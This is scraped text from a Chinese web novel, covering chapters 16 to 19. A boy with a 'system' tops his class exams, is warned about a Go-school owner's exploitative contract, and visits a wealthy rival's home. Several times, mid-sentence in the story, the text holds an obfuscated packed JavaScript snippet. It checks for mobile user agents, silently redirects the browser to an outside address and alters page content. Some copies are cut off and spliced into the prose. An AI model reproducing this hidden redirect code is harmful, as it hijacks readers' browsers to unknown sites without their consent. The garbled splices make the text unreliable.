“哇,班长好厉害。”其中参杂着不少人的羡慕。 肖卢振在众人艳羡的目光中稳健地上台拿了自己的试卷。 杨羽:“肖椿82,肖椿这次进步很大哈,尤其是作文,满分。” 其他人又是一片惊呼,“靠,怎么还不到我。” 杨羽:“纪辰新,100。” “哈?谁?谁100?”不止一个人问,刹那间,班里几乎所有人都瞳孔地震。 他们倒吸了口凉气。 “我好像听到的是,纪辰新。” “对,我听到的也是这个名字。” “我们班还有第二个纪辰新吗?” “....只有...一个。” 一时间,所有人不约而同将视线扭转,看向了那个异常淡定的叫纪辰新的人。 “真是他?” “怎么回事,他比班长还厉害?” “还真是他,你们看,老班在看他。” 杨羽欣慰极了:“纪辰新是我们班进步最大的,也是年纪唯二的,英语拿到满分的同学,大家给他点掌声好不好。” 雷霆般的掌声倾泻而下。 那些本还质疑他的人,此刻陷入了自我怀疑。 100分? 他居然考了100分? 这是一个无法企及的数字,班里从未有人做到。 纪辰新在众人目光灼灼的视线与掌声中走上了台,杨羽微笑着将卷子递给了他,然后示意大家安静。 “近日,我有听到一些关于纪辰新的流言,我想在这跟大家说的是,他是我选的课代表,这与成绩好坏无关,我认可的是他的自信。” “一提到英语,我知道很多同学都惧怕,甚至不敢开口说,但这样是学不好英语的。” “我希望大家以后不管是学英语,还是其他的什么,千万不要扭扭捏捏,有时候机会转瞬即逝,敢于表达自己永远是第一位的。” “就如当初,若有人像他这样勇敢表达自己的想法,说自己想要当这个课代表,我都是能让其试一试的。” 说者有意,听者也有心。 这话对范智而言无异于当头棒喝。 与成绩好坏无关?只要自己勇敢一点说出自己的意愿就行? 那他....还... 甚至因此对纪辰新...... 纪辰新捧着试卷莞尔笑了一下,“谢谢老师。” 他下台时,有意无意朝范智的方向瞥了一眼,视线里,范智羞愧的低下了头。 “陈江伟,0分。” 刚刚大家才从纪辰新一百分的巨大冲击中缓过神来,瞬间又被一个零分刺激的够呛。 “原来是陈江伟啊,常年倒数,早该想到的,哈哈哈哈。” “哈哈,区区零分罢了,我伟哥根本不在乎。” “伟哥,等会儿还玩弹珠吗?” 最后排的小胖子陈江伟大咧咧摸了下头,“玩啊,怎么不玩。” 杨羽有些无奈:“但凡考的时候认真做,也不至于吃零蛋。” 陈江伟眼神诚挚:“老师,我这次认真做了,往日乱选都能蒙对几个,这次也不知道怎么了,认真做的反而一个也答不对。” 杨羽都被他弄的没脾气了:“......” 至于陈江伟为什么这次要发奋图强的认真答卷,完全是受了纪辰新的刺激。 往日俩人在倒数第一的位置上不分你我,结果不知道从什么时候开始,纪辰新先是说出一口流利的英文,然后又当上了英语课代表,最后连作业都不炒了,居然自己写。 这让他莫名有了危机意识,说什么也要努点力了。 然而他的努力换来的是更无力。 陈江伟也想知道,到底为什么啊! 后面几分钟,杨羽将其他名字和分数念完,便开始了讲解试卷。 下课后,肖卢振罕见地找到了纪辰新,“你的卷子能借我看看吗?” 纪辰新微愣,然后递给了他。 肖卢振直接翻到了最后一页,作文那栏。 当他看到的是流利又丰富的英文时,心里的郁闷莫名释然了点,再抬头时,更是谦虚了不少,“方便帮我看一下作文吗,有几处我不知道如何改。” 这时,肖椿走了过来,满眼欣喜,“纪辰新,这次真是多亏了你。” 纪辰新不明所以地看着他。 肖椿摸了摸头,嘿嘿一笑,“我把你以前的作文都背下来了,考的时候略微修改,直接就用上了。” “没想到就这么拿了满分,嘿嘿。” 原来如此,纪辰新笑笑,“那也是你努力的成果。” 肖卢振在旁边听着俩人的对话,眼睛一瞬不瞬地盯着纪辰新,“可以吗?” 纪辰新侧目看他,“我的建议不一定对,你不介意的话,就拿过来吧。” “不介意。”肖卢振迅速将自己的卷子拿了过来。 纪辰新略略看了后,“其实大问题没有,倒是这里有一句语法错误,另外,这两个词的意思有歧义,换个别的词吧。” 肖卢振的作文也就扣了1.5分,确实没有大问题。 但他见纪辰新真能准确说出自己文章的问题,心里最后一丝怀疑也就烟消云散了。 纪辰新不知道他心里的小九九,回头看向最后一排,正准备继续去玩弹珠。 然而,肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其他的都能编编,就这个数学,不会就是真的不会。 数学老师是个四五十岁的妇女,她看纪辰新的眼神尤其热烈,全年级只有两个人做出最后一个大题,其中一个就是纪辰新。 “这次的数学试卷有点难度,而且最后一个大题,全年级只有两个人做出来,这两个人就是苏陌和纪辰新。” “等会儿,咱们让纪辰新给大家讲讲这个题的思路怎么样?” 其他人毫无意见,因为根本不会。 此刻肖卢振才是真破防了,他的数学分数只有80分。 此后一整节课,数学老师几乎把纪辰新当逗号使,每讲到一个题,她就让纪辰新起来说说自己的解题思路。 大家听完没有任何疑虑,只有恍然大悟。 整个过程,甚至没有一个人觉得他是作弊或是抄袭的。 毕竟纪辰新的讲解方式,有时候比老师讲的还要好,更容易理解。 而且最最不可置信的是,最后一个大题,数学老师说纪辰新与苏陌用的是两种不同的方式进行答题的。 这下,更加没人质疑了,他们已经开始不把他当人看待了。 这居然是人能做出来的? 经此一役,不少人开始现身说法,就差把他塑造成神了。 “考试的时候,我跟纪辰新在一个考室,他每次都提前交卷,二三十分钟就能写完一张试卷。” “不止吧,我怎么记得他十分钟就写完了。” “不对,不对,明明就只花了五分钟!” “卧槽,这么牛逼?” 17. 第 17 章 临放学前,语文卷子也发了下来,毫无疑问,纪辰新再次拿了个满分。 班里人已经惊涛骇浪到有些麻木了。 肖卢振又来找他借卷子看作文。 纪辰新指了指肖椿,手一摊,“你来晚了,我兄弟正在观摩呢。” 肖椿抱着试卷不撒手,严词拒绝,“我还没看完。” 肖卢振又想说什么,他看着纪辰新,犹犹豫豫道,“你有什么学习的秘诀吗?” “秘诀?”纪辰新眨了眨眼,“你有什么秘诀吗?” “我没有,我就正常学习。”肖卢振义正言辞道。 “那不就是,谁学习能有秘诀。”纪辰新反问他。 肖卢振蹙了蹙眉,总觉得他瞒了什么,“但你以前.....” 纪辰新打了个哈欠,“以前是以前,现在是现在,这只能说明我脑子好。” 意思就是说他脑子不好呗?肖卢振又气到了。 见他走了,纪辰新无聊的撇了撇嘴,真不明白他一天天的怎么这么有心眼。 * 放学回到家后,纪辰新特意将三张试卷摊开摆在了餐桌上。 老太太李春兰将最后一份菜从厨房端出来,一瞥到桌上的纸就道,“小新,快把你的作业拿回房间去,等下弄脏了。” 纪辰新从房间探出来头,“奶奶,这不是作业,你仔细看看,这可是我这次期中考试的试卷。” 李春兰这才轻手轻脚将菜放到了一边,甚至还特意去洗了个手,“我来看看,考的怎么样。” 纪辰新笑了笑,“老师说我进步巨大,下一周给我发奖状呢。” 老太太这时才拿到其中一张试卷,她看了好一会儿,然后又擦了擦眼,总以为自己老花将10分看成了100分。 “小新,我的眼神好像比以前更不好使了,这都出现重影了。” “你这是考了多少分啊?10分?” 纪辰新刚拿了杯水,一脸无奈,“奶奶,你再仔细看看。” “100?”老太太声音带了丝颤意,“真的假的,后面那个零不会是你加上去的吧。” “哎呀,说什么呢,奶奶,我是那样的人吗?”纪辰新差点呛到。 老太太赶紧又拿了另外两张试卷查看,最后跌坐在椅子上,“我肯定是在做梦。” “奶奶,你没有做梦,这就是我的成绩,不信你问肖椿。”纪辰新怕奶奶高兴傻了,连忙出去喊肖椿。 三分钟后,李春兰在肖椿的力证下终于相信了这不是梦。 “三科全满分?肖椿你多少?”老太太看向这个平时给自己孙儿补课的后辈,以为都是他帮忙补习的成果。 肖椿连忙摆手,“我没多少,纪辰新考的比我好多了。” 意识到老太太的想法,他直接道,“我没那么厉害,而且我已经很久没给纪辰新补课了,这都是他自学得来的。” “很久没补课了?自学?你不是每天都来我家....”老太太犹疑着。 肖椿生怕自己抢了功劳,“我是每天过来和纪辰新一起做作业的,甚至有时候遇到不懂的,我还要请教他呢。” 纪辰新笑了笑,朝他使了个眼色,“肖椿你就别谦虚了,你也有功劳的,我基础差,要不是你帮忙,我自学也学不出什么名堂。” 老太太被俩人左一句右一句弄的头脑昏沉,但此刻喜悦的情绪还是占据了上风。 “都别谦虚了,这是你们俩一起努力的成果,奶奶很欣慰。” “来来来,肖椿你吃饭没,没吃的话,今天就在我家吃。” 老太太拉着肖椿坐下,“韭菜鸡蛋和茄子豆角,喜欢吃吗?” 肖椿的肚子咕咕叫了声,然后拒绝道,“不了,我还要回去做饭,我爸妈晚上回来还等着吃呢。” 肖椿的父亲因为不想在家闲着,再加上家里拮据的情况,于是外出找了份只用手的清闲工作,秉着能赚一点是一点的原则,现在已经工作三天了。 老太太略略心疼,“哎呦,你先吃,他们回来都七点了,时间上绰绰有余,不会耽误你做饭的。” 肖椿的负担实在太大了,他还在担心弟弟,弟弟也同样没吃饭,还有一个瘫痪在床的爷爷。 他知道自己不能要求太多,自己吃了也就吃了,大不了回去再给他们做。 他劝自己自私一点,然而越劝反而越内疚。 谁知下一秒,纪辰新直接夹了一筷子鸡蛋塞进了他的嘴里,“快尝尝,香不香。” 一时间,肖椿愣住了,嚼也不是,不嚼也不是。 “难道你要吐掉?你要浪费粮食?”纪辰新惊恐地看着他。 肖椿迅速摇头,他默默嚼了嚼嘴里的蛋,香的他肚子更饿了。 李春兰给他装了一大碗米饭,“吃吧,别想太多。” 纪辰新点头,严厉要求,“今天必须干三碗才能下桌哈。” 实际上,肖椿确实干了三碗饭,茄子豆角里面老太太参杂了一点肉沫在里头,拌饭吃最香。 饭后,他非常有自知自明的道,“奶奶,纪辰新以后不需要我给他补课了,他成绩比我好,然后那个鸡蛋,您不用再给我家了。” 老太太擦着桌子,纪辰新在收拾碗筷。 见李春兰没回答,纪辰新瞬间领会到什么,“课可以不补,但鸡蛋必须收,一篮子蛋没多少钱的,你以前给我补那么久,我都觉得你收少了。” 老太太有些诧异地看了眼孙儿,然后才道,“我给养殖场的老板娘做针线活,他家每个礼拜送一筐蛋给我,根本吃不完,肖椿你愿意帮我们分担点吗?” 肖椿哪里不知道老太太的用意,吃不完的鸡蛋完全可以拿到集市上去卖,怎么可能吃不完。 但他面对老太太的善举,以及自家的情况,拒绝的话根本说不出口。 纪辰新笑他,“感动了?千万别哭鼻子噢,丑死了。” 肖椿立即止住了,“我哪有要哭。” 这么一通下来,这事也算是圆满解决了,纪辰新还是比较高兴的,以后既不需要应老太太的要求强制补课,肖椿也没因此失了鸡蛋,还真是两全其美。 只是老太太至今都有些缓不过神来,她一遍又一遍地仔细查看纪辰新的试卷,泛黄的眼眶隐隐有些湿润。 孙儿突然就开窍了,这份惊喜却无人倾诉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他这句话里,已经默认纪辰新能顺利通过市围棋大赛并拿到前两名了。 只能说,这就是口碑! 苏陌眉峰微挑,捕捉到什么,“你刚刚说省围棋大赛?” 赵言权点头,“对啊,你还不知道吧,纪辰新报名了市少儿围棋大赛,就以前我们都参加过的那个。” “你之前不是说省赛?”苏陌犹疑看他。 “当然也是省赛啊,难道你觉得以他的实力不能进入省赛?”赵言权语气充满得意,仿佛即将要参赛的人是他。 “我爸是他的推荐人,他之前没有任何比赛经历,差点都不能参赛。” “而且,我爸还劝了他好一番,他才同意呢,唉,真是奇了怪,有这么好的天赋,之前却从未参加过一场赛事。” 苏陌沉吟了一会儿道,“市围棋赛还有多少天?” 赵言权算了算,“满打满算也就十天了吧,怎么?你到时候要去观赛?还是说给他加油?” 苏陌垂眸开始收拾棋局,随后在众目睽睽之下转身走了。 赵言权紧追其后,“欸,怎么走了,你去哪,到时候我会去给纪辰新加油,你要不要一起?” 18. 第 18 章 翌日,纪辰新到学校后,明显感觉到自己出名了。 而这次的出名不同于以往,因为这次是正向的。 横空出世的黑马,就这样坐上了年级第一的宝座,让所有人始料未及。 与此同时,语文老师还告知纪辰新,他的作文将会被印刷出来给全年级的人观摩。 一篇写奶奶的记叙文,看的阅卷老师的心暖暖的,只恨作文满分只有三十分,不然高低得再翻一倍。 听到要被人观摩,纪辰新罕见的社恐了,但也无法拒绝老师的执意如此。 放学后,纪辰新在校门口见到了赵信,貌似找他有事。 然而,他刚准备提步过去,却听到有人喊他,一回头,见到的便是苏陌快步朝他走来。 又要下棋吗? 纪辰新几乎条件反射这般想。 一分钟后,苏陌在他面前停住了脚步,“要不要上我家看看?” ??? 这冷不丁的,纪辰新被这无厘头的问话弄懵了,“什么?” “我昨天听赵言权说你报名了市围棋赛,恐怕有些规则和比赛的情况你不是很明白,我家有比赛的录像带,可以为你讲解一番。”苏陌神色认真,算的上诚挚邀请了。 如此好意,真是不好拒绝呢,只是...他瞥了眼不远处的赵信,人家大老远过来,估计有事,得去打个招呼。 “你稍等一下,我等会儿再过来。” 纪辰新说完,就朝赵信的方向跑去。 苏陌颔首点头,他安静等在原地,望向赵信的神色却微微冷厉。 纪辰新很快到了赵信跟前,他喘了口气,“怎么了?找我什么事?” 赵信偏了下头示意他,“上车,走。” 走?走哪?走什么走? 纪辰新没动,“干嘛,要去哪。” “去了你就知道了,对你有好处的。”赵信淡笑弯唇,神秘莫测。 纪辰新人都麻了,怎么今天都要带他走。 “你先说去哪,要干嘛。” 赵信睨着他,不由又瞟了眼他身后,一直默默注视他们的苏陌,显然猜到了什么。 “苏陌找你有事?” 纪辰新挑眉,“你不都看到了,所以你赶紧说要干嘛。” 赵信无奈,“纪辰新小朋友,马上市围棋赛就要开始了,你还有闲心玩?还是说早忘了这茬?” “没忘,你找我就为这事?”纪辰新撇了下嘴。 “当然,趁着还有时间,给你科普科普,免得你到时候不懂规矩输掉比赛。”赵信说着说着便抽了根烟出来,点上。 又一个要给他讲解规则的,他是有多不靠谱,让一连两个人都为他操心这个? 系统:【你确实很不靠谱,免得到时候莫名其妙输掉比赛,宿主你还是赶紧了解了解吧。】 纪辰新:【......】 了解,肯定要了解的,只是这一个,两个的,到底跟谁走? 系统:【当然是男主啊,咱们任务的首要目标就是他,有他的时候直接选他。】 纪辰新也知道任务要紧,但参赛这事,从头到尾都是赵信负责的。 啧,有点难选! 【系统,比赛的规则以及注意事项你知道吗?】 系统:【那当然,我可以搜!不过,没有苏陌说的那种录像带,我只能描述给你。】 那也够了! 最终,纪辰新决定谁也不选。 只见他淡笑着,“那啥,我就不.....” “苏陌,不好意思了,今天纪辰新得跟我去少年宫。”赵信突然视线越过他,望向他身后。 纪辰新刚要说的话瞬间噎在了喉咙,他霎时回头。 就见苏陌不知道什么时候走了过来,他目光如炬地望着纪辰新,“今天不逼你下棋,只给你讲解赛事规则,而且我家很大,什么都有,电视机、游戏机、电脑....” 闻言,纪辰新眼睛微微泛着光,他很久没有接触到电子产品了,前世这些很普遍的东西,此刻却恍如隔世。 一旁的赵信轻咳了一声,笑道,“真是小孩子心性,这点东西就把你拐跑了?” 纪辰新顿时满头黑线,“你没听到他前面那句话吗,他也是来给我讲解赛事规则的。” 赵信顿了顿,才道,“那行,你跟他去吧,苏陌参加过,甚至还拿了第一,想来感悟比我深。” “我改天再来找你。” ???纪辰新感到莫名其妙,“.....” 话落,赵信便一脚油门,扬长而去。 苏陌看着赵信远去的车,微微眯了眯眼,随后语气不明道,“你和他签合同了?” “合同?什么合同?”纪辰新不明白他说什么。 苏陌见他神色迷茫,心里有了谱,“没签就好。” “什么啊,你在说什么?”纪辰新蹙眉,“别打哑谜好不好。” 苏陌睨着他,回忆道,“赵信曾经找过我,想要我成为他围棋班的代言人,帮他提高知名度。” “合同里面明确写了,必须对外宣称棋艺都是在他的围棋班里学出来的,然后时不时还得陪着他亮相各种宣传活动,拉更多的人报名他的围棋班。” “当然,他会给你丰厚的报酬。” “我知道你家里的条件,怕你抵制不住这样的诱惑。” 真别说,纪辰新听完,确实有些心动,可赵信压根就没跟他提过签合同这事。 仿佛知道他内心所想,苏陌解释,“你现在还没有名气,等你这次大赛成功夺魁估计就会来找你了。” “别看这事双方各取所需,但对你的风险也很大,他的围棋班水平并不高,还卖课,卖书,长久以往,你曝光越多,个人的信用就会越低,如果你想成为一个职业棋手,还是谨慎点为好。” “其次,如若以后他的围棋班出了不好的事,对你的打击将是巨大的,甚至影响你整个职业生涯。” “再者,等你定段后,肯定会参加更多的比赛,段位越高,名气越大,他每拉你出席一场活动,他就能赚不少费用,这种通告费,合同里他是默认都归他所有的。” “甚至以后参加任何比赛,拿到的奖金,他都要分走大半。” 纪辰新从一开始就知道赵信帮他是有目的的,但没苏陌想的这么深。 赵信曾经在苏陌那里吃了闭门羹,不难想象如今面对纪辰新肯定会制定一个万全之策.... 所以当初第一次见面,赵信就由着赵言权带他去少年宫,介绍他的围棋班,甚至后来帮他处理熊宽那事,还答应那么爽快,其实都算在博他的好感,让他生出敬意与感激。 至于那两千块钱也算一种投资,逼的他不得不参赛甚至夺冠。 他知道他家困难,等他拿下大赛,赵信再许诺点什么,最后签合同也就水到渠成了。 纪辰新想到什么:“等等,我未成年欸,就算签了合同也不作数。” 苏陌笑他天真,“你奶奶不是你的监护人吗,再说了,如果你一心要签,一心要改变家里的条件,谁能拦的住,你必定会磨的你奶奶同意的。” 这倒确实如此。 纪辰新不由惊叹,“简直是人心险恶啊,世道不古。” “所以,你呢?你为什么要告诉我这些,你想得到什么?” 苏陌盯着他,语调调侃,“你觉得你身上有什么值得我得到的?” “......说话不要这么伤人好吧。”纪辰新抻了抻脖子,“虽然我一贫如洗,但我什么也没有啊!” 苏陌:“......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074310|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “走吧,去我家,天黑前,保证把你送回来,不耽搁你回家吃饭。” 纪辰新嘿嘿一笑,“那行。” * 苏陌家没在市中心,甚至离市区比较远,是一座大约三百平的别墅。 纪辰新下车后,看着面前漂亮的建筑,呆了呆。 开门迎接的是管家,“小少爷您回来啦,保姆已经在准备晚餐了,大概半个小时后可以就餐。” 话落,他目光惊异地掠过纪辰新,这似乎是个新面孔,而且从小少爷的态度上来看,似乎也与往日跟在小少爷身后的那三人不一样。 苏陌颔首点头,带着纪辰新往里走,熨帖道,“别拘束,家里就我一个人。” “???”纪辰新愣了下,“啊?” 难道这些不是人吗? 系统:【额....宿主,苏陌说的是自己的亲人,他父母在他刚出生没多久的时候就离婚了。】 【父母离婚后,母亲就出了国再无音讯,他便被判给了男方,但他父亲一直在外有私生子,都跟苏陌一样大了。】 【你知道他为什么突然从实验小学转到南川吗?】 纪辰新:【为什么?】 系统:【因为那个私生子的母亲眼红苏陌的成绩压了她儿子一头,这才教唆苏陌父亲给苏陌转了学,转到了现在的南川。】 【要知道南川的教学质量相比于实验小学差的不止一星半点。】 【卧槽,有点复杂!】纪辰新心下感慨,【不过,倒蛮像男主定律的,反正不是穷就是惨,现在看来他主要是惨?】 【不对,感觉也不惨啊,我好像比他惨,我才是那个又穷又惨的!!!】 【至于他,有钱,还没人管,简直是神仙日子。】 系统:【话不能这么说,打个比方,宿主你愿意用奶奶换这一切吗?】 【.....算了,当我没说。】纪辰新呼出口气,【所以他是因为缺爱才对围棋执着的吧?】 系统没说话,纪辰新自顾自道,【那你说他没多久会回帝都?又是什么意思?】 系统:【因为他爷爷奶奶在帝都啊,他家本就是帝都人,他父亲一直喜欢的那个女人,不被爷爷奶奶所接受,后来他父亲借口南下创业,这才来到这边,其实就是为了跟那女的双宿双栖。】 【苏陌父母离婚后,苏陌基本是跟在爷爷奶奶身边承欢膝下的,但他父亲南下硬要把他也带出来历练,说是要弥补他,培养培养感情。实际上也是那个女人搞的鬼,想扶自己的儿子上位,怕苏陌长久待在爷爷奶奶身边,以后自己儿子什么都得不到。】 【而且....前不久他们已经偷偷领证了,计划一个月后办婚礼。】 【原书里,他爷爷奶奶是在婚礼开始前一个礼拜被通知参加宴席的。】 【之后尝试阻止,但木已成舟,为了苏陌考虑,这才将他带回了帝都。】 “唉....”纪辰新听完不由深深叹了口气。 苏陌正带着他上楼,闻声,脚步停顿,转头看他,“怎么了?” 纪辰新同情地看着他,“唉,你...”话没说完,又伸手拍了拍苏陌的肩,“没事,以后有什么事找哥,能帮的,哥一定帮。” 苏陌不知道他脑补了什么,冷声提醒,“我比你大,你得喊我哥!” 纪辰新下意识反驳,“真是倒反天罡!你知道我多大吗?” “你比我小三个月零五天。”苏陌淡淡掏出了一张身份证,“看到没,我比你先出生!” “.....”纪辰新瞬间哑火,“不管你承不承认,反正我比你大。” 苏陌将身份证怼在他脸上,“事实胜于雄辩!” 也不知道为什么,在这件事上他格外在意,以至于在这无比幼稚的比到底谁更大! 19. 第 19 章 “行行行,你大行了吧?”纪辰见他气势强硬,让步道,“就当我可怜你,让你当一回哥哥。” “可怜我?”苏陌差点被他气笑了,“那你喊我声哥哥听听。” 纪辰新没脸没皮,捏着嗓音,“喊就喊,哥~哥哥~小哥哥~” 他一连喊好几遍,肉眼可见的苏陌神色不太自然了,他抿着唇似难为情,快速转身走了。 纪辰新觉得他反应好笑,追在后面喊,“小哥哥~小哥哥~你怎么不应我?是害羞了吗?” “小哥哥,你别跑啊,我都跟不上你了。” “小哥哥~” 苏陌被他弄的没脾气了,他努力板着脸,“别喊了,很奇怪。” “奇怪?怎么会奇怪,这不是你要求的吗?”纪辰新不明所以地看着他。 苏陌摇头,“我也不知道,总之你别喊了。” “行吧,你房间在哪,怎么还没到?”纪辰新见他面色纠结,放过了他,转移话题道。 苏陌的神色总算恢复了正常,他暗自舒了口气,指向对面,“这里就是了。” 说罢,他推开了面前的这扇乳白色的房门。 房间里拉了窗帘,很是昏暗,下一秒苏陌按了开关,霎时暖黄色的灯光充满了整个房间。 地上铺着米白色的羊毛地毯,没有一丝花纹,干净又蓬松,纪辰新第一反应便是脱鞋。 反应过来他便照做了,苏陌本想说不必,但见纪辰新已经脱了,便没再说什么了。 纪辰新的视线里,苏陌的房间是他房间的整整三倍大,这里设施豪华,应有尽有。 就比如,苏陌有一整个柜子来摆放玩具,而且是这个年龄段的男孩子最喜欢的奥特曼和变形金刚,以及遥控车。 全是整套的,纪辰新根本移不开视线,不得不承认,这一刻对他短暂且贫穷的人生造成了一点冲击。 是的,只有一点,因为他很快便清醒了过来。 “喜欢?”苏陌不知什么时候站到了他身旁,“我可以送你。” 纪辰新礼貌又诚恳的拒绝了,“谢谢,不用了。” “为什么不用,你不是看起来很喜欢吗?”苏陌不解。 纪辰新摇头,“我只是感慨罢了,我不是那种夺人所好的人。” “这都是我奶奶从帝都寄过来的,不是我买的,你不算夺人所好。”苏陌无所谓道。 纪辰新还是不为所动,“你觉得我那个一贫如洗且狭小的房间摆这些不违和吗?” 这些昂贵又精致的玩具,就该摆放在这,也只能摆在这。 他的话直白,苏陌怔了怔,他注视着纪辰新的双眸,发现里面没有任何艳羡,只有平和。 所以,他只是在陈述事实罢了。 顿了顿,苏陌回答道,“我不觉得,你越是拒绝,我越要送你,纪辰新,考虑到你的房间确实放不下这么多,那就把这套变形金刚带走吧。” 纪辰新:“......” “孟管家,你进来,将这些变形金刚都打包好放车里。”苏陌不管纪辰新要不要,直接吩咐了下去,强制送。 说着,他便走到了书桌前,将昨天放学后整理了几个小时的录像带拿了过来。 那是一台DVD录像机,看着还很新,就好像买过来后就没怎么用过。 只见苏陌将棋子棋盘也摆在了地毯上。 “地毯每天都有打扫,可以盘腿坐下。”说罢,苏陌率先一步坐下,像是给他示范。 纪辰新有些想笑,跟着坐了下来。 苏陌将摄像机里以前记录好的比赛内容调了出来,“你看,这是去年的市围棋赛,赵信是不是跟你说过,前两名可以进省半决赛?” “嗯。”纪辰新点头。 “我猜他没跟你说全。”苏陌几乎笃定道。 纪辰新疑惑抬眼,“什么意思?” “除了前两名可以直接进入省半决赛之外,其他人想要进省赛,还需要打积分赛,这是比较耗时的,通常要比7-8轮。” “最终积分排名前三的,可以继续参加省赛。” “注意,是省赛,不是省半决赛,他们还要经历一轮淘汰赛才能进入省半决赛。” “省半决赛最终人数不能超过20人。” “省赛一般属于省内各个市的比拼,所以竞争还是很大的。” “目前已知是六个市,那么将会有12个人直接晋级省半决赛,剩下的8人都是通过一级一级的积分赛打上来的,所以也不容小觑。” 纪辰信听完,压力倒是没有,他的目光几乎都落在了录像带里,棋手们下完一子后的动作上。 “他们在按什么?” 苏陌顺着他的视线看过去,“这是围棋计时器。” “围棋比赛采用基本用时加读秒的规则,每个人开局分配固定时间,这次的比赛采用的是30分30秒,也就是每个人有30分钟的基本用时外加10分钟的读秒。” “基本用时用尽后,进入读秒阶段,每步棋必须在30秒内完成,落子后需立即按下己方计时器,己方计时暂停,则对手计时启动,如若超时未按钟或落子,则判负。” 听到这,纪辰新突然想起什么,“那你之前和我下棋,想那么久,早就超过30秒了吧。” “是不是早该判输的?” 苏陌淡淡摇头,“我的基本用时没用完,所以时间可以随意支配。” “你要记住,待到基本用时用完,才进入读秒阶段。” “不过.....你好像并不需要,毕竟你一直都游刃有余。” 这位围棋天才在面对一个比自己更天才的人时,明显感到有些无力。 就比如,纪辰新的注意力总不集中,那些规则也不知道听进去多少。 不过,好像也不重要,毕竟人家有狂妄的资本。 “说了这么多了,你渴不渴?”苏陌咽了咽喉咙,自己有些渴了。 纪辰新摇头,“我还好,什么时间了?” 苏陌去拿了瓶水,“还早,家里有电视,你要不要看?” 电视有什么好看的,纪辰新对那台电脑比较感兴趣,外观笨重的显示屏,有种独特的年代感。 苏陌似乎看出了他所想,“想玩的话,可以去玩。” 纪辰新得到允许,迅速扑到了电脑前。 系统发出感慨:【这属于老古董了,一代一代变革,还有一段很长的时间要走。】 开机后,是经典的蓝色的草原桌面。 桌面的列表没有游戏,因为苏陌很少玩游戏。 “你想玩游戏?我可以给你下。”苏陌走了过来,他似乎对纪辰新格外宽容。 这时,房门被敲响了。 “小少爷,保姆已经将晚饭做好了。”管家在外提醒。 苏陌应了声,表示自己知道了。 “你饿不饿,要不在我家吃饭?” 问出这句话时,苏陌诧异自己脱口而出的邀请。 好在纪辰新没想那么多,他眼眸亮了亮,“你家保姆做饭好吃吗?” 苏陌沉思片刻,如实道,“不知道,应该还行,反正能吃。” “......”纪辰新,“你这说的....我...” “你去尝尝就知道了。”苏陌帮他做了决定。 于是,俩人一同下了楼。 餐厅里,保姆做了五六个菜,比平日多做了两个,当然,这是管家临时吩咐加的。 纪辰新看着一桌的美味佳肴,肚子不争气的咕咕叫了起来,口中甚至开始分泌口水。 管家很有眼色,早就摆好了两幅碗筷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074311|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏陌示意他坐,含笑道,“快坐下吃吧。” 事已至此,纪辰新也不矫情了,他在苏陌旁边坐了下来。 只是,一时之间不好夹哪个,哪个都看着好吃。 苏陌用公筷给他夹了个鸡翅,“你试下这个,可乐鸡翅,新品菜。” 纪辰新点头,可乐鸡翅他知道啊,前世他自己就经常做。 “你不用管我,我想吃什么,我会自己夹的。” 说罢,纪辰新大咬了一口鸡翅,肉香扑鼻,汁水浸透味蕾,味道挺好。 纪辰新半分钟不到就吃完了一个,随后又夹了一个。 见他吃的满足,苏陌的胃口也莫名跟着好了起来。 这顿饭,纪辰新几乎没舍得说话,一个劲往嘴里塞,什么肉段啊,鹅肝啊,还有些说不出名字的菜,花里胡哨的,都成了他的下饭菜。 苏陌吃饭慢条斯理,默默给纪辰新夹了几次菜。 吃到最后,他不知不觉也吃了两碗,这还是距上次在纪辰新家后,第一次吃这么多。 管家有些担心他积食,先一步准备好了消食片。 纪辰新放下碗后,发现桌上的菜才吃了一半,但自己的食量他还是知道的,再吃下去肚子都要撑破了。 苏陌也放下了筷子,“再好吃,感到撑就别吃了,不然会胃痛。” 这些纪辰新当然知道,他摸了摸自己圆滚滚的肚子,“我心里有数。” 说着,他又瞥了眼不远处的管家和保姆,然后小声道,“刚刚我们吃饭,他俩就在这候着,他们不吃的吗?” “对了,还有司机,怎么不见他人?” “司机去给车子做保养了。”苏陌耐心解释,“保姆每天做完饭菜,都会预留他们的,你不用担心。” “所以你每天吃什么,他们就跟着吃什么?”纪辰新实在是对他的生活好奇。 苏陌点头:“差不多吧。” “哇,那在你家当佣人还蛮爽的。”纪辰新真心道,“事少清闲,包吃包住,吃的还好,对了,你给他们开多少工钱?” “不清楚,我...”想到父亲这个词,苏陌停顿了下来,转言道,“这些不用我负责。” “不过,最少也有几千吧。” 